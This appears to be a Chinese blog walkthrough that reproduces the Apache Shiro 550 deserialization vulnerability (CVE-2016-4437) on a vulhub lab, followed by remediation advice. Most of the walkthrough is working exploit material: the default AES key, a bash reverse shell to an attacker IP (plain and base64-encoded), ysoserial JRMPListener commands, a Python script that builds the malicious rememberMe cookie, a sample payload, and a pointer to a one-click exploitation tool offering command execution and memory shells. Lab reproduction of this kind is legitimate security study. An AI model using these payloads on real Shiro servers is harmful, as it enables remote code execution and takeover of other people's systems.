Apache Shiro 是一个用于身份验证、授权、加密和会话管理的Java安全框架。Apache Shiro550 是个反序列化漏洞,漏洞编号为CVE-2016-4437。

漏洞原理

Shiro 框架提供了一个RememberMe功能,允许用户在下次访问时无需重新登录。这个功能通过在Cookie中设置一个rememberMe字段来实现。Shiro在处理rememberMe字段时,会先进行Base64解码,然后使用AES解密,最后反序列化。然而Shiro的默认AES密钥是硬编码在框架中的。

所以这使得攻击者可以轻易地构造一个恶意的序列化对象,将其AES加密并Base64编码后,作为rememberMe字段发送给Shiro服务端。在服务端接收Cookie后会检查RememberMe的值 -> Base64解码 -> 使用AES解密(加密密钥硬编码)-> 反序列化(未作过滤处理)

如果没有修改默认的密钥那么就很容易就知道密钥了,所以Payload构造起来就很简单。

复现

影响版本:Apache Shiro < 1.2.4

环境搭建:使用 vulhub 搭建

cd ./vulhub/shiro/CVE-2016-4437
docker compose up -d

浏览器访问 8080 端口登录界面:

首先应该判断一个页面的登录是否使用了Shiro框架,如果出现 rememberMe=deleteMe 字段,就说明登录页面采用了 Shiro进行身份验证,但这并不能说明存在漏洞。

Shiro550 这个漏洞的核心在于版本低于 1.2.4 的版本中使用了固定的密钥,如果确实是固定的密钥那么 Shiro550 漏洞才一定是存在。

漏洞探测

第一步就是要确定是否有一个默认的key是可以为我们所用的,这里就需要用到key的爆破工具。

工具地址:https://github.com/insightglacier/Shiro_exploit

检测到AES加密的 key 为:kPH+bIxk5D2deZiIxcaaaA==

方式一 ysoserial反弹shell

拿到key以后,利用 ysoserial 来生成反序列payload,ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。

下载地址:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

利用 ysoserial 的攻击流程如下:

  1. 攻击者在自己的服务器使用 JRMPListener 开启一个 RMI 服务监听。

  2. 向目标服务器发送 JRMPClient,发送的Payload中设置攻击者服务器IP以及JRMPListener监听的端口,漏洞服务器反序列化该Payload后,会去连接攻击者开启的JRMP监听。

  3. 攻击者服务器发送的Payload中包含可执行命令。

首先,在kali中通过 nc 监听本地端口:

nc -lvvp 12345

接着准备反弹shell的代码:

反弹shell的命令为bash -i >& /dev/tcp/192.168.88.128/12345 0>&1,利用Java Runtime配合Bash64编码:

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

本地开启 JRMP 监听,监听本地 2333 端口,利用链使用 CommonsBeanutils1:

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

Python生成Payload替换Cookie,这里使用其他师傅写的Python脚本:

# python3
import base64
import uuid
import subprocess
from Crypto.Cipher import AES def rememberme(command):
popen = subprocess.Popen([r'java', '-jar', r'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA==" # AES密钥key
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ == '__main__':
payload = rememberme('192.168.88.128:2333') # 192.168.88.128:2333 是攻击机远程RMI服务
print("rememberMe={}".format(payload.decode()))

需要注意的是,要把 ysoserial-master-SNAPSHOT.jar 包和该python脚本放在同一目录下,还需要替换拿到的key和rememberme()的参数。

rememberMe=ICAgICAgICAgICAgICAgIKJBToq3AgWpkZCN9zQ2dfEHCco/VzhG+3LQHh5Zaer60r5Jwla79z0XmDOj8+w1eKA2vgHYMkiWYHxPTnCTruQce9qUyi1DfZbejmiqT0SdmloCk0mpI/GFrLviKn4NgEccphmdxaeejF7aza2uR6mZR4DYZWErT6EgMoqKwqkMtO91HfpMZW3QSbxaeFLQDQS/E6tc3GQRK4qxMxbx0/yd4ADT3MH58lLcdtvXgyLG51gaMpDMeYXLxHoEhvYmZPhiPD1qrGJ5wLHzV/WSvA4NFHQn7cMvBKoT+6IvtRY4WM56jD8u4mqvpKxbncRUdUB4gsr3BMwxc5gV1VjA8tWO61yWSra0/T2bMVQrfpZXrmOg/1uPBm7thm8b5anJlw==

将拿到的 rememberMe 替换Cookie发送:

靶机回连本地 JRMP 服务,JRMP服务端收到请求:

靶机收到 gadget 对象对其反序列化造成命令执行,造成反弹shell命令成功:

除了反弹shell,还可以使用ysoserial工具生成exp进行命令执行,将生成的Payload使用默认AES加密,替换Cookie发送求。

方式二 ShiroAttack2一键利用

ShiroAttack2 是一款针对Shiro550漏洞进行快速漏洞利用的工具,具有图形化界面,可以回显执行命令,注入内存马等。

下载地址:https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

可爆破密钥,爆破利用连及回显:

功能区包括:检测日志、命令执行、内存马、key生成

修复措施

  • 升级Shiro版本:将Apache Shiro升级到1.2.4以上的版本,因为1.2.5及以后的版本中,AES密钥不再是硬编码的,而是在每次Shiro启动时随机生成一个新的密钥。

  • 更换AES密钥:如果不升级Shiro版本,应修改rememberMe的默认密钥。使用Shiro官方提供的方法随机生成一个新的密钥,并妥善保管好该密钥。

    官方密钥生成方法:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()。

  • 禁用rememberMe功能:如果应用程序不需要使用rememberMe功能,可以考虑完全禁用它。

参考文章:

https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2016-4437shiro-550反序列化命令执行.md

https://www.freebuf.com/vuls/290922.html

https://www.freebuf.com/articles/web/395728.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

Apache Shiro 550反序列化漏洞复现的更多相关文章

  1. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

  2. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  3. Shiro 550反序列化漏洞分析

    Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...

  4. Shiro remeberMe反序列化漏洞复现(Shiro-550)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性.在Apache Shiro编号为550的 issu ...

  5. Apache Shiro Java反序列化漏洞分析

    1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...

  6. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  7. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  8. JAVA反序列化漏洞复现

    目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...

  9. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  10. Jboss反序列化漏洞复现(CVE-2017-12149)

    Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...

随机推荐

  1. Windows 不小心把管理员帐户弄没了怎么办

    今天折腾不小心把管理员帐号的权限给改没了,重启之后很多操作做不了.解决方法如下: Windows + R 打开运行,或者打开资源管理器,输入 control userpasswords2 命令打开用户 ...

  2. manim边学边做--曲线类

    manim中曲线,除了前面介绍的圆弧类曲线,也可以绘制任意的曲线. manim中提供的CubicBezier模块,可以利用三次贝塞尔曲线的方式绘制任意曲线. 关于贝塞尔曲线的介绍,可以参考:https ...

  3. 【YashanDB知识库】生成迁移报告失败,"报错未知类型错误异常:"

    [标题]YMP迁移 [问题分类]迁移报告 [关键字]迁移报告.未知类型错误异常 [问题描述]下载迁移报告时报错"未知类型错误异常:",一长串英文 日志报错: [问题原因分析]jav ...

  4. DB\redis\zookeeper分布式锁设计

    redis 参考目录: 生产级Redis 高并发分布式锁实战1:高并发分布式锁如何实现 https://www.cnblogs.com/yizhiamumu/p/16556153.html 生产级Re ...

  5. 使用 Helm 在 Kubernetes 上安装 Consul

    Consul Sync 部署 官方文档部署:https://developer.hashicorp.com/consul/docs/k8s/installation/install 部署版本 1.14 ...

  6. Effective C++——Item33: 避免隐藏继承的名字

    Effective C++--Item33: 避免隐藏继承的名字 一.从原理理解隐藏 从变量作用域看隐藏 全局变量x和局部变量x的类型是不同的,但C++的隐藏规则:只隐藏名字(hiding names ...

  7. HTML & CSS – Practice Projects

    前言 学完了 w3school 就要练练手了. 这篇是记入我学习的过程, 和知识点. update: 2022-02-27 用文章来表达太难了, 用视频比较合理. 所以我就没有继续写了. 这里记入几篇 ...

  8. t-io 学习笔记(一)

        基础介绍理解篇 序:本文也是在t-io官网学习的基础上写的理解学习笔记:1.什么是t-io? t-io是基于JVM的网络编程框架,和netty属同类,所以netty能做的t-io都能做,考虑到 ...

  9. JDBC——API详解

    DiverManager DriverManager(驱动管理类)作用: 1. 注册驱动 MySQL 5之后的版本 不再需要手动写这行注册驱动的代码了(可以省略) // 1.注册驱动 Class.fo ...

  10. .NET 开源高性能 MQTT 类库

    前言 随着物联网(IoT)技术的迅猛发展,MQTT(消息队列遥测传输)协议凭借其轻量级和高效性,已成为众多物联网应用的首选通信标准. MQTTnet 作为一个高性能的 .NET 开源库,为 .NET ...